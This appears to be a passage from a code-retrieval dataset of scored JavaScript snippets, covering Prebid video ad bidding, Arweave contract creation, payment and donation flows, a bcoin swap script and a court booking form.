(arrBids[i].videoCacheKey && arrBids[i].videoCacheKey.length > 0 &&\n\t\t\t\t\t_options.prebidConfigOptions && _options.prebidConfigOptions.cache &&\n\t\t\t\t\t_options.prebidConfigOptions.cache.url) {\n\t\t\t\t\treturn _options.prebidConfigOptions.cache.url + '?uuid=' + arrBids[i].videoCacheKey;\n\t\t\t\t}\n\t\t\t\treturn creative;\n\t\t\t}\n\t\t}\n\t\t// winner is not creative from bid array\n\t\treturn creative;\n\t}", "title": "" }, { "docid": "13da4223e4d9f0431ef676846a9ede5b", "score": "0.44028494", "text": "get mainAsset() {}", "title": "" }, { "docid": "579f4da613b444cdbb139bc4daf36a30", "score": "0.43950024", "text": "getTopBiddingPrice(asset) {\n let bids = this.books[asset].bs;\n let bestBid = bids[0];\n return parseFloat(bestBid[0]);\n }", "title": "" }, { "docid": "9fe249dac124705d56aa26d6f36d0d69", "score": "0.43946615", "text": "function updateLicense() {\n var product = $('#Product').find('option:selected').text();\n var src = '';\n if (product == apsimName || product == oldApsimName) {\n var licenceType = $('#dropDownLicenseType').find('option:selected').text()\n if (licenceType == nonCommercialLicenceName)\n src = 'APSIM_NonCommercial_RD_licence.htm';\n else {\n src = 'APSIM_Commercial_Licence.htm';\n }\n } else {\n src = 'OtherDisclaimer.html';\n }\n $('#terms').prop('src', `/html/${src}`);\n}", "title": "" }, { "docid": "eee5970633f2422fa850ad0b635752fa", "score": "0.4375982", "text": "async function fetchExchangeRateInNativeAsset(type, dst_network, claimed_asset, src_network, src_asset, cached) {\n\tconst nativeSymbol = nativeSymbols[dst_network];\n\tif (!nativeSymbol)\n\t\tthrow Error(`native symbol for network ${dst_network} unknown`);\n\tif (type === 'repatriation')\n\t\treturn await tryGetTokenPrice(dst_network, claimed_asset, nativeSymbol, cached);\n\tlet rate = await tryGetTokenPrice(src_network, src_asset, nativeSymbol, cached);\n\tif (rate)\n\t\treturn rate;\n\tif (src_network === 'Obyte') {\n\t\tif (src_asset === 'base')\n\t\t\trate = await fetchCryptocompareExchangeRateCached('GBYTE', nativeSymbol, cached)\n\t\telse {\n\t\t\tconst prices = await fetchObyteTokenPricesCached(cached);\n\t\t\tconst price_in_usd = prices[toMainnetObyteAsset(src_asset)];\n\t\t\tif (!price_in_usd)\n\t\t\t\treturn null;\n\t\t\tconst native_price_in_usd = await fetchCryptocompareExchangeRateCached(nativeSymbol, 'USD', cached)\n\t\t\trate = price_in_usd / native_price_in_usd\n\t\t}\n\t}\n\treturn rate;\n}", "title": "" }, { "docid": "a6584ff57c7977202cdeca35932a26f8", "score": "0.43736222", "text": "get assetBundleVariant() {}", "title": "" }, { "docid": "babc9115d94476b536b77e86e101c0f4", "score": "0.4372468", "text": "function retreive_tx_payment() {}", "title": "" }, { "docid": "23c12cab680186f71582162a6f6c07ef", "score": "0.43664092", "text": "function createContractFromTx(arweave, wallet, srcTxId, state, tags = [], target = '', winstonQty = '') {\n return __awaiter(this, void 0, void 0, function* () {\n let contractTX = yield arweave.createTransaction({ data: state }, wallet);\n if (target && winstonQty && target.length && +winstonQty > 0) {\n contractTX = yield arweave.createTransaction({\n data: state,\n target: target.toString(),\n quantity: winstonQty.toString(),\n }, wallet);\n }\n if (tags && tags.length) {\n for (const tag of tags) {\n contractTX.addTag(tag.name.toString(), tag.value.toString());\n }\n }\n contractTX.addTag('App-Name', 'SmartWeaveContract');\n contractTX.addTag('App-Version', '0.3.0');\n contractTX.addTag('Contract-Src', srcTxId);\n contractTX.addTag('Content-Type', 'application/json');\n yield arweave.transactions.sign(contractTX, wallet);\n const response = yield arweave.transactions.post(contractTX);\n if (response.status === 200 || response.status === 208) {\n return contractTX.id;\n }\n else {\n throw new Error('Unable to write Contract Initial State');\n }\n });\n}", "title": "" }, { "docid": "df5c1f147842ad6547455a3f4d86af3b", "score": "0.43648982", "text": "_calculateHasSource(source){if(source&&\"\"!=source){return!0}this.source=null;return!1}", "title": "" }, { "docid": "6613d7694d1662935bada937886d0ac8", "score": "0.43522462", "text": "constructor(payment) {\n this.paymentType = payment.paymentType\n this.doneBy = payment.doneBy;\n this.description = payment.description;\n this.reducingBalance = payment.reducingBalance;\n this.priorBalance = payment.priorBalance;\n this.amount = payment.amount;\n this.contractID = payment.contractID;\n this.adminID = payment.adminID;\n }", "title": "" }, { "docid": "29ed5395d4e74a449c3285c10755c472", "score": "0.4345319", "text": "function getNewBookValsFromModal() {\r\n var bookVals = {\r\n author: document.getElementById('input-author').value.trim(),\r\n title: document.getElementById('input-title').value.trim(),\r\n subject: document.getElementById('input-subject').value.trim(),\r\n photoURL: document.getElementById('input-photoURL').value.trim(),\r\n favorite: false\r\n };\r\n if (!bookVals.author || !bookVals.title || !bookVals.subject || !bookVals.photoURL) {\r\n alert('One or more fields are blank!');\r\n return undefined;\r\n }\r\n bookVals.vendorURL = createAmazonURL(bookVals.title);\r\n return bookVals;\r\n}", "title": "" }, { "docid": "4c6c0c7b8f87309fa63a7339cc08ba82", "score": "0.43451256", "text": "function purchaseItem() {}", "title": "" }, { "docid": "4c6c0c7b8f87309fa63a7339cc08ba82", "score": "0.43451256", "text": "function purchaseItem() {}", "title": "" }, { "docid": "4c6c0c7b8f87309fa63a7339cc08ba82", "score": "0.43451256", "text": "function purchaseItem() {}", "title": "" }, { "docid": "4c6c0c7b8f87309fa63a7339cc08ba82", "score": "0.43451256", "text": "function purchaseItem() {}", "title": "" }, { "docid": "4c6c0c7b8f87309fa63a7339cc08ba82", "score": "0.43451256", "text": "function purchaseItem() {}", "title": "" }, { "docid": "4c6c0c7b8f87309fa63a7339cc08ba82", "score": "0.43451256", "text": "function purchaseItem() {}", "title": "" }, { "docid": "159bf84036a4d1a5d907b49cc9d08bca", "score": "0.4339568", "text": "function PriceImage(source, modalWidth, modalHeight) {\n if (source.toString().indexOf('RMPricing') > -1) {\n if(CorbisUI.Auth.GetSignInLevel() < 1){\n //var actionArg = \"OpenIModal('\" + source + \"', \" + modalWidth + \", \" + modalHeight + \")\";\n var actionArg = \"PriceImage_MAGIC('\" + source + \"', \" + modalWidth + \", \" + modalHeight + \")\";\n //CorbisUI.Auth.Check(1, CorbisUI.Auth.ActionTypes.Execute, actionArg);\n CorbisUI.Auth.OpenSSLSignIn(CorbisUI.Auth.ActionTypes.Execute, actionArg);\n }else{\n OpenIModal(source, modalWidth, modalHeight);\n }\n \n } else {\n OpenIModal(source, modalWidth, modalHeight);\n }\n}", "title": "" }, { "docid": "d8c6152f8c4591e9e598a541b1f41b6d", "score": "0.43379274", "text": "function chooseHowToPay (game, waitingFor, card) {\n // Not-so-random: Prefer non-megacredit resources when available (in case there are not enough megacredits)\n let megaCredits = card ? card.calculatedCost : waitingFor.amount;\n let heat = 0;\n if (waitingFor.canUseHeat) {\n heat = Math.min(game.heat, megaCredits);\n megaCredits -= heat;\n }\n let steel = 0;\n if ((waitingFor.canUseSteel || card && card.tags.includes('building'))) {\n steel = Math.min(game.steel, Math.floor(megaCredits / game.steelValue));\n megaCredits -= steel * game.steelValue;\n while ((megaCredits > game.megaCredits) && (steel < game.steel)) {\n steel++;\n megaCredits -= game.steelValue;\n }\n }\n let titanium = 0;\n if ((waitingFor.canUseTitanium || card && card.tags.includes('space'))) {\n titanium = Math.min(game.titanium, Math.floor(megaCredits / game.titaniumValue));\n megaCredits -= titanium * game.titaniumValue;\n while ((megaCredits > game.megaCredits) && (titanium < game.titanium)) {\n titanium++;\n megaCredits -= game.titaniumValue;\n }\n }\n if (megaCredits < 0) megaCredits = 0;\n let microbes = 0;\n let floaters = 0;\n let isResearchPhase = false;\n return { heat, megaCredits, steel, titanium, microbes, floaters, isResearchPhase };\n}", "title": "" }, { "docid": "c715ba37be07b14941febe0b69277609", "score": "0.43337694", "text": "isPaymentSufficient() {\n if (this.cashTendered >= this.amountDue) {\n console.log(\"Payment complete\")\n\n } else {\n this.insertCoin(type);\n }\n }", "title": "" }, { "docid": "649dd500340f2b9614abb95d2d9aa27c", "score": "0.43320137", "text": "function getProductImageSource(productImage)\n{\n var returnImageSource = defaultImageSource;\n\n if (productImage != undefined && productImage != null && productImage.ImagePath() != undefined && productImage.ImagePath() != null && productImage.ImagePath() != \"\")\n {\n returnImageSource = productImage.ImagePath();\n }\n\n return returnImageSource;\n}", "title": "" }, { "docid": "471a4b3dfecac7fab7d03ff209a3a9f9", "score": "0.4328711", "text": "checkIfJustPaid() {\n\t\tlet actionString = window.location.href;\n\t\tif(actionString.indexOf('#processPayment') !== -1){\n\t\t\t// redirected back after payment \n\t\t\t// get query string parameter\n\t\t\tlet queryString = window.location.search;\t// ?id=40C477...sbg-vm-tx01&resourcePath=%2Fv1%2Fcheckouts%2F40...\n\t\t\t// check if resourcePath exists\n\t\t\tlet resourcePathPos = queryString.indexOf('resourcePath=');\n\t\t\tif(resourcePathPos != -1){\n\t\t\t\tlet resourceParam = queryString.substring(resourcePathPos);\n\t\t\t\t// just checking & trimming, if there is any other parameter at end\n\t\t\t\tif(resourceParam.indexOf('&') !== -1){\n\t\t\t\t\tresourceParam = queryString.substring(resourcePathPos, resourceParam.indexOf('&'));\n\t\t\t\t}\n\t\t\t\tlet [resourceKey, resourcePath] = resourceParam.split(\"=\");\t\t// destructuring param name, value\t\t\n\t\t\t\t// if a valid resourcePath available\n\t\t\t\tif(resourcePath.length >0){\n\t\t\t\t\t// activating Process breadcrumb & screen \n\t\t\t\t\tthis.donationActivity.goNextBreadCrumb(3).goNextScreen(3);\n\t\t\t\t\n\t\t\t\t\t// get payment status\n\t\t\t\t\tthis.donation.getDonationStatus(resourcePath);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Not redirected after a payment, show first page\n\t\t// checking if Donated before 1 hour\n\t\tlet activateFirstScrn = true;\n\t\tlet lastPaymentRespStr = localStorage.getItem('lastPaymentResp');\n\t\tif(lastPaymentRespStr){\n\t\t\tlet lastPaymentRespObj = JSON.parse(lastPaymentRespStr);\n\t\t\tlet timeDiffDetails = this.donationActivity.getTimeDiffDetails(lastPaymentRespObj.timestamp);\n\t\t\tif(!timeDiffDetails.donateAgain) {\n\t\t\t\t// activating Last(Thank You) breadcrumb & screen \n\t\t\t\tthis.donationActivity.goNextBreadCrumb(4).goNextScreen(4);\n\t\t\t\tthis.donationActivity.showThankYouText().showHistoryBlock();\n\t\t\t\tactivateFirstScrn = false;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// activating First breadcrumb & screen \n\t\tif(activateFirstScrn){\n\t\t\tthis.donationActivity.goNextBreadCrumb(1).goNextScreen(1);\n\t\t}\n\t\t\n\t\treturn true;\n\t}", "title": "" }, { "docid": "4e8f56d5e7785f8b0055bb65d6a59749", "score": "0.43232244", "text": "function loadPrebidScript(options, fromHeader) {\n\t// internal function which will be called later\n\tvar setupAdCreative = function() {\n \t// do header bidding if fromHeader is 'true' and bidder setting are present in options\n \tif (fromHeader && options) {\n\t\t\tBC_prebid_in_progress = true;\n\t\t\t// invoke prebid\n \t\tdoPrebid(options, function(bids) {\n\t\t\t\t// this function returns creative with higher CPM\n\t\t\t\tvar selectWinnerByCPM = function(arrBids) {\n\t\t\t\t\tvar cpm = 0.0;\n\t\t\t\t\tvar creative = null;\n\t\t\t\t\tvar cacheKey;\n\t\t\t\t\tfor (var i = 0; i < arrBids.length; i++) {\n\t\t\t\t\t\tif (arrBids[i].cpm > cpm) {\n\t\t\t\t\t\t\tcpm = arrBids[i].cpm;\n\t\t\t\t\t\t\tcreative = arrBids[i].vastUrl;\n\t\t\t\t\t\t\tcacheKey = arrBids[i].videoCacheKey;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// get prebid cache url for winner\n\t\t\t\t\tif (cacheKey && cacheKey.length > 0 && options.prebidConfigOptions &&\n\t\t\t\t\t\toptions.prebidConfigOptions.cache && options.prebidConfigOptions.cache.url) {\n\t\t\t\t\t\tcreative = options.prebidConfigOptions.cache.url + '?uuid=' + cacheKey;\n\t\t\t\t\t}\n\t\t\t\t\t_logger.log(_prefix, 'Selected VAST url: ' + creative);\n\t\t\t\t\treturn creative;\n\t\t\t\t};\n\t\t\t\t// get prebid cache url if available\n\t\t\t\tfunction getPrebidCacheUrl(creative, arrBids) {\n\t\t\t\t\tfor (var i = 0; i < arrBids.length; i++) {\n\t\t\t\t\t\tif (arrBids[i].vastUrl === creative) {\n\t\t\t\t\t\t\t// winner is creative from bid array\n\t\t\t\t\t\t\tif (arrBids[i].videoCacheKey && arrBids[i].videoCacheKey.length > 0 &&\n\t\t\t\t\t\t\t\toptions.prebidConfigOptions && options.prebidConfigOptions.cache &&\n\t\t\t\t\t\t\t\toptions.prebidConfigOptions.cache.url) {\n\t\t\t\t\t\t\t\treturn options.prebidConfigOptions.cache.url + '?uuid=' + arrBids[i].videoCacheKey;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn creative;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// winner is not creative from bid array\n\t\t\t\t\treturn creative;\n\t\t\t\t}\n\t\t\t\tvar arrBids = (options.biddersSpec && bids && typeof bids !== 'string' && bids[options.biddersSpec.code]) ? bids[options.biddersSpec.code].bids : [];\n \t\t\t_logger.log(_prefix, 'bids for bidding: ', arrBids);\n \t\t\tif (arrBids && Array.isArray(arrBids)) {\n\t \t\t\tif (options.dfpParameters) {\n\t\t\t\t\t\t// use DFP server if DFP parameters present in options\n\t\t\t\t\t\t_logger.log(_prefix, 'Use DFP');\n\t\t\t\t\t\tif (arrBids.length === 0 && typeof bids === 'string') {\n\t\t\t\t\t\t\t// bids is a dfp vast url\n\t\t\t\t\t\t\t_localPBJS.prebid_creative = bids;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tvar dfpOpts = {adUnit: options.biddersSpec};\n\t\t\t\t\t\t\tif (options.dfpParameters.url && options.dfpParameters.url.length > 0) {\n\t\t\t\t\t\t\t\tdfpOpts.url = options.dfpParameters.url;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (options.dfpParameters.params && options.dfpParameters.params.hasOwnProperty('iu')) {\n\t\t\t\t\t\t\t\tdfpOpts.params = options.dfpParameters.params;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (options.dfpParameters.bid && Object.keys(options.dfpParameters.bid).length > 0) {\n\t\t\t\t\t\t\t\tdfpOpts.bid = options.dfpParameters.bid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t_logger.log(_prefix, 'DFP buildVideoUrl options: ', dfpOpts);\n\t\t\t\t\t\t\t_localPBJS.prebid_creative = _localPBJS.bc_pbjs.adServers.dfp.buildVideoUrl(dfpOpts);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tBC_prebid_in_progress = false;\n\t\t\t\t\t\tdispatchPrebidDoneEvent();\n\t\t\t\t\t\t_logger.log(_prefix, 'Selected VAST url: ' + _localPBJS.prebid_creative);\n\t\t\t\t\t}\n\t \t\t\telse if (options.adServerCallback) {\n\t \t\t\t\t// use 3rd party ad server if ad server callback present in options\n\t\t\t\t\t\t_logger.log(_prefix, 'Use 3rd party ad server');\n\t\t\t\t\t\tvar func;\n\t\t\t\t\t\tif (typeof options.adServerCallback === 'function') {\n\t\t\t\t\t\t\tfunc = $$PREBID_GLOBAL$$.plugin_prebid_options.adServerCallback;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (typeof options.adServerCallback === 'string' &&\n\t\t\t\t\t\t\t\twindow[options.adServerCallback] &&\n\t\t\t\t\t\t\t\ttypeof window[options.adServerCallback] === 'function') {\n\t\t\t\t\t\t\tfunc = window[options.adServerCallback];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (func) {\n\t\t\t\t\t\t\tfunc(arrBids, function(creative) {\n\t\t\t\t\t\t\t\t_localPBJS.prebid_creative = getPrebidCacheUrl(creative, arrBids);\n\t\t\t\t\t\t\t\tBC_prebid_in_progress = false;\n\t\t\t\t\t\t\t\tdispatchPrebidDoneEvent();\n\t\t\t\t\t\t\t\t_logger.log(_prefix, 'Selected VAST url: ' + _localPBJS.prebid_creative);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t_logger.log(_prefix, 'Select winner by CPM because 3rd party callback is invalid');\n\t\t\t\t\t\t\t_localPBJS.prebid_creative = selectWinnerByCPM(arrBids);\n\t\t\t\t\t\t\tBC_prebid_in_progress = false;\n\t\t\t\t\t\t\tdispatchPrebidDoneEvent();\n\t\t\t\t\t\t}\n\t \t\t\t}\n\t \t\t\telse {\n\t \t\t\t\t// select vast url from bid with higher cpm\n\t \t\t\t_logger.log(_prefix, 'Select winner by CPM');\n\t\t\t\t\t\t_localPBJS.prebid_creative = selectWinnerByCPM(arrBids);\n\t \t BC_prebid_in_progress = false;\n\t\t\t\t\t\tdispatchPrebidDoneEvent();\n\t \t\t\t}\n \t\t\t}\n \t\t\telse {\n \t\t\t\t// no bids\n \t BC_prebid_in_progress = false;\n\t\t\t\t\t_logger.log(_prefix, 'Selected VAST url: ' + _localPBJS.prebid_creative);\n\t\t\t\t}\n\t\t\t});\n \t}\n\t};\n\n\tvar arrOptions = convertOptionsToArray(options);\n\tvar prebidPath;\n\tvar scriptLoadTimeout;\n\tfor (var i = 0; i < arrOptions.length; i++) {\n\t\tif (arrOptions[i].prebidPath && !prebidPath) {\n\t\t\tprebidPath = arrOptions[i].prebidPath;\n\t\t}\n\t\tif (!scriptLoadTimeout && arrOptions[i].scriptLoadTimeout && arrOptions[i].scriptLoadTimeout > 0) {\n\t\t\tscriptLoadTimeout = arrOptions[i].scriptLoadTimeout;\n\t\t}\n\t}\n\n\tvar debugMsg;\n\tif (!document.body) {\n\t\t// plugin has been loaded in the html page <head> (document body is not ready)\n\t\tif (document.getElementById('bc-pb-script')) {\n\t\t\t// if prebid.js is already loaded try to invoke prebid.\n\t\t\tsetupAdCreative();\n\t\t\treturn;\n\t\t}\n\n\t\tvar pbjsScr = document.createElement('script');\n\t\tpbjsScr.onload = function() {\n\t\t\t// after prebid.js is successfully loaded try to invoke prebid.\n\t\t\t_localPBJS.bc_pbjs = frame.contentWindow.pbjs;\n\n _logger.log(_prefix, 'Prebid.js loaded successfully');\n\n setupAdCreative();\n\t\t};\n\t\tpbjsScr.onerror = function(e) {\n\t\t\t// failed to load prebid.js.\n\t\t\t_localPBJS.bc_pbjs_error = true;\n\n debugMsg = 'Failed to load prebid.js in header.';\n\t\t\t_logger.error(_prefix, debugMsg + ' Error event: ', e);\n\n\t\t\tif (options.pageNotificationCallback) {\n\t\t\t\toptions.pageNotificationCallback('message', debugMsg);\n\t\t\t}\n\n\t\t\t// setuo ad creative for dfp or 3rd party ad server if either is present in options\n\t\t\tsetupAdCreative();\n\t\t};\n\n\t\tpbjsScr.id = 'bc-pb-script-' + Date.now.valueOf();\n\t\tpbjsScr.async = true;\n\t\tpbjsScr.type = 'text/javascript';\n\t\tpbjsScr.src = !!prebidPath ? prebidPath : DEFAULT_PREBID_JS_URL;\n\n\t\tvar node = document.getElementsByTagName('head')[0];\n\t\tnode.appendChild(pbjsScr);\n\t}\n\telse {\n var timeout = setTimeout(function() {\n\t\t\t// failed to load prebid.js in iframe.\n\t\t\t_localPBJS.bc_pbjs_error = true;\n\t\t\ttimeout = null;\n\n debugMsg = 'Failed to load prebid.js in iframe (timeout).';\n\t\t\t_logger.error(_prefix, debugMsg);\n\n\t\t\tif (options.pageNotificationCallback) {\n\t\t\t\toptions.pageNotificationCallback('message', debugMsg);\n\t\t\t}\n\n\t\t\t// setuo ad creative for dfp or 3rd party ad server if either is present in options\n\t\t\tsetupAdCreative();\n\t\t}, !!scriptLoadTimeout ? scriptLoadTimeout : DEFAULT_SCRIPT_LOAD_TIMEOUT);\n\n var onLoadIFrame = function (msgEvent) {\n if (timeout) {\n clearTimeout(timeout);\n timeout = null;\n }\n else {\n // prebid.js loading timeout already happened. do nothing\n return;\n }\n // check only our messages 'ready' and 'error' from ifarme\n if (msgEvent.data === 'ready') {\n frame.contentWindow.removeEventListener('message', onLoadIFrame);\n\n // after prebid.js is successfully loaded try to invoke prebid.\n _localPBJS.bc_pbjs = frame.contentWindow.pbjs;\n\n _logger.log(_prefix, 'Prebid.js loaded successfully');\n\n setupAdCreative();\n }\n else if (msgEvent.data === 'error') {\n frame.contentWindow.removeEventListener('message', onLoadIFrame);\n\n // failed to load prebid.js.\n _localPBJS.bc_pbjs_error = true;\n\n debugMsg = 'Failed to load prebid.js in iframe.';\n _logger.error(_prefix, debugMsg);\n\n if (options.pageNotificationCallback) {\n options.pageNotificationCallback('message', debugMsg);\n }\n\n\t\t\t\t// setuo ad creative for dfp or 3rd party ad server if either is present in options\n\t\t\t\tsetupAdCreative();\n }\n };\n\n try {\n var frameID = 'bc-pbjs-frame-' + Date.now().valueOf();\n var prebidJSSrc = (!!prebidPath ? prebidPath : DEFAULT_PREBID_JS_URL);\n\n var frame = insertHiddenIframe(frameID);\n\n writeAsyncScriptToFrame(frame, prebidJSSrc, false, getOrigin());\n\n frame.contentWindow.addEventListener('message', onLoadIFrame);\n }\n catch (e) {\n // failed to load prebid.js.\n _localPBJS.bc_pbjs_error = true;\n\n debugMsg = 'Failed to load prebid.js - caught error writing iFrame.';\n _logger.error(_prefix, debugMsg);\n\n if (options.pageNotificationCallback) {\n options.pageNotificationCallback('message', debugMsg + ' Error: ' + e);\n }\n\n dispatchPrebidDoneEvent();\n }\n }\n}", "title": "" }, { "docid": "5a14ba2a1fd82039ecb478ec9f9cdebd", "score": "0.43177143", "text": "getSwapInputScript (redeemScript, secret) {\n const inputSwap = new bcoin.Script();\n\n inputSwap.pushInt(0); // signature placeholder\n inputSwap.pushData(secret);\n inputSwap.pushInt(1); // <true>\n inputSwap.pushData(redeemScript.toRaw()); // P2SH\n inputSwap.compile();\n\n return inputSwap;\n }", "title": "" }, { "docid": "d6debc61a098030388a94f2074f96d4c", "score": "0.43047374", "text": "async initDepositAsync(req, res) {\n // Generate a session Id for this deposit.\n const sessionId = this.idGenerator.generateId();\n const host = process.env.DEVELOPMENT\n ? `http://${req.connection.localAddress}:${req.connection.localPort}`\n : `https://${req.hostname}`;\n // Check if the request is valid; else return a bad request.\n if (!req.body.amount) {\n return utils.badRequest(res, {\n error: \"required parameter 'amount' undefined.\",\n });\n }\n\n if (Number(req.body.amount.value) <= 0) {\n return utils.badRequest(res, {\n error: \"required parameter 'amount.value' invalid or missing.\",\n });\n }\n\n if (!req.body.amount.currency) {\n return utils.badRequest(res, {\n error: \"required parameter 'amount.currency' invalid or missing.\",\n });\n }\n\n if (!this.signatureHandler.validateDigest(req.get('digest'), req.rawBody)) {\n return utils.badRequest(res, {\n error: 'invalid digest',\n });\n }\n\n if (!this.signatureHandler.validateSignature(\n req.get('signature'), \n publicKey, \n `${req.method.toLowerCase()} ${req.originalUrl}`, \n req.get('date'), \n req.get('host'), \n req.get('digest') \n )) {\n return utils.badRequest(res, {\n error: 'signature could not be verified.',\n });\n }\n\n // Make sure this response has not timed out yet.\n if (!this.validateInitiatedAt(req.body.initiated_at)) {\n return res.status(403).send();\n }\n\n try {\n // Add the merchant metadata.\n req.body.merchant_reference = '599f4164-4417-4361-9d11-1d9d8b4b9096';\n\n req.body.source = {};\n req.body.source.owner_id = 'a7b46663-3b97-40be-9b3e-ab805a56b269';\n req.body.source.id = 'a148d933-8ed1-4304-8b70-514232386240';\n\n // These values don't need to go into the createDepositAsync\n delete req.body.return_url;\n delete req.body.initiated_at;\n\n const x = await this.uberClient.createDepositAsync(req.body);\n if (!x.status.toString().startsWith('2')) {\n throw new Error(`${x.status}: ${x.statusText}`);\n }\n\n res.cache.put(`session:${sessionId}`, {\n session: sessionId,\n data: req.body,\n res: x.data,\n });\n } catch (ex) {\n return utils.badRequest(res, ex);\n }\n\n return res.status(201)\n .set('Location', `${host}/payments/init?sessionId=${sessionId}`)\n .send();\n }", "title": "" }, { "docid": "6ad9ab178bc9bf36025413aeba243fed", "score": "0.42718142", "text": "static createInstance(manufacturer, assetNumber, assetType) {\n\n let newAsset = new Asset({ manufacturer, assetNumber});\n newAsset.assetType = assetType;\n return newAsset;\n }", "title": "" }, { "docid": "bf224a217d610a573cccb24afe114999", "score": "0.42661297", "text": "function simulateCreateContractFromTx(arweave, wallet, srcTxId, state, tags = [], target = '', winstonQty = '') {\n return __awaiter(this, void 0, void 0, function* () {\n let contractTX = yield arweave.createTransaction({ data: state }, wallet);\n if (target && winstonQty && target.length && +winstonQty > 0) {\n contractTX = yield arweave.createTransaction({\n data: state,\n target: target.toString(),\n quantity: winstonQty.toString(),\n }, wallet);\n }\n if (tags && tags.length) {\n for (const tag of tags) {\n contractTX.addTag(tag.name.toString(), tag.value.toString());\n }\n }\n contractTX.addTag('App-Name', 'SmartWeaveContract');\n contractTX.addTag('App-Version', '0.3.0');\n contractTX.addTag('Contract-Src', srcTxId);\n contractTX.addTag('Content-Type', 'application/json');\n yield arweave.transactions.sign(contractTX, wallet);\n return contractTX;\n });\n}", "title": "" }, { "docid": "c864560ac41975b1d5dcb878aa3f6093", "score": "0.42643115", "text": "getPrice({session, policy}) {\n return new Promise((resolve) => {\n // Check database for existing entry\n // TODO\n\n // If entry doesn't exist or needs to be updated, run scrapers\n scrapeAmazon(policy)\n .then( policy => {\n resolve({session, policy})\n });\n });\n }", "title": "" }, { "docid": "bd463e3381fd0eee56de2b38e12f69e6", "score": "0.42625484", "text": "function fillInPaymentModal() {\n // fill in the court type i.e. half-court // full-court\n var courtType;\n var modal_body = $(\"#payment-summary\");\n var court_type_holder = modal_body.find(\".courtType\");\n var intervalBetweenBookings = parseInt($(\"#repeat-card .frequency-in-days\").text());\n\n if ($('#nav-halfCourt-tab').hasClass(\"active\")) {\n courtType = \"halfCourt\"; // half-court\n court_type_holder.text(\"Half Court\");\n }\n if ($('#nav-fullCourt-tab').hasClass(\"active\")) {\n courtType = \"fullCourt\"; // full-court\n court_type_holder.text(\"Full Court\");\n }\n modal_body.attr(\"data-court-type\", courtType);\n modal_body.attr(\"data-booking-interval\", intervalBetweenBookings);\n\n // fill the startTime and endTimes.\n var startTime = $(\"input.startTime\").val();\n var endTime = $(\"input.endTime\").val();\n\n modal_body.attr(\"data-booking-startTime\", startTime);\n modal_body.attr(\"data-booking-endTime\", endTime);\n var bookingPeriod = modal_body.find(\"span.bookingPeriod\");\n bookingPeriod.text(`${convertToAMPM(startTime)}-${convertToAMPM(endTime)}`);\n\n // if the number of bookings under repeat booking is more than one\n // then create the regular booking format, otherwise leave casual as default.\n var repeat_card = $(\"#repeat-card\");\n var number_of_bookings = parseInt(repeat_card.find(\".number-of-bookings\").text());\n modal_body.attr(\"data-number-of-bookings\", number_of_bookings);\n var booking_type = (number_of_bookings > 1) ? \"regular\" : \"casual\"\n modal_body.attr(\"data-booking-type\", booking_type)\n\n var startDate = $(\"input.dateHolder\").val();\n var weekday = startDate.split(\" \")[0];\n // set the day for the first booking\n modal_body.find('#weekday').text(weekday);\n var startDateObject = new Date(startDate);\n // in either cases we must fill in the date for the first booking-row\n var booking_start_row = modal_body.find(\".booking-row-start\");\n var booking_end_row = modal_body.find(\".booking-row-end\");\n // to be used for filling in prices and booking dates\n //console.log(booking_start_row);\n //console.log(startDateObject);\n\n var bookingMatrix = JSON.parse(localStorage.getItem(\"BookingsMatrix\"));\n console.log(\"Booking Matrix\", bookingMatrix);\n var bookingCourtIds = calculateCourtIds(startTime, endTime, bookingMatrix);\n // assign court ids and period to the rows in details modal\n var courtIdBody = $(\"#allDatesModal\").find(\"#courtIdBody\");\n assignCourtIdToBox(courtIdBody, bookingCourtIds);\n\n assignDateToBox(booking_start_row, startDateObject); // assigned the start date to the first box/row\n // if a regular booking is selected\n\n // show the dates title in both cases where booking is regular or casual\n //var dates_title = $(\"#allDatesModal\").find(\"#dates-title\");\n //dates_title.removeClass(\"d-none\");\n //dates_title.prev().removeClass(\"d-none\");\n var dateTextHolder;\n var booking_dates_modal = $(\"#allDatesModal\").find(\".booking-dates\");\n\n var dateHolder = $(\"#allDatesModal\").find(\".template\").first();\n var divider = dateHolder.next();\n\n // create a deep copy of both\n var copiedDivider;\n var copiedDateHolder;\n\n if (number_of_bookings > 1) {\n\n // if a regular booking, we want to add more rows to the court id body using the array stored\n var arrayOfFreeCourtIds = $(\"#maxBookingsWarning\").attr(\"data-arrayOfFreeCourtIds\");\n arrayOfFreeCourtIds = JSON.parse(arrayOfFreeCourtIds);\n var shortenedFreeCourtArray = arrayOfFreeCourtIds.slice(0,number_of_bookings-1);\n courtIdBody.attr(\"data-regularBookingCourtIds\", JSON.stringify(shortenedFreeCourtArray));\n var templateCourtRowCopy;// = courtIdBody.find(\".templateCourtRow\").first().clone();\n //var pTagCourtId;\n var startTimeAMPM = convertToAMPM(startTime);\n var endTimeAMPM = convertToAMPM(endTime);\n for (var index in shortenedFreeCourtArray) {\n //console.log(shortenedFreeCourtArray[index]);\n templateCourtRowCopy = courtIdBody.find(\".templateCourtRow\").first().clone();\n templateCourtRowCopy.removeClass(\"templateCourtRow\");\n templateCourtRowCopy.find(\"p\").text(`Court ${shortenedFreeCourtArray[index]}: ${startTimeAMPM}-${endTimeAMPM}`);\n templateCourtRowCopy.attr(\"data-courtId\", shortenedFreeCourtArray[index]);\n templateCourtRowCopy.appendTo(courtIdBody);\n $(\"<hr class='my-0'>\").appendTo(courtIdBody);\n //console.log(index);\n }\n // remove the review booking div (intended only for one booking)\n $(\"#single-booking-review\").remove();\n // fill in the booking-number holder\n modal_body.find(\".booking-number\").text(number_of_bookings);\n modal_body.next().find(\".booking-number\").text(number_of_bookings); // for the subtotal\n\n var frequencyNode = 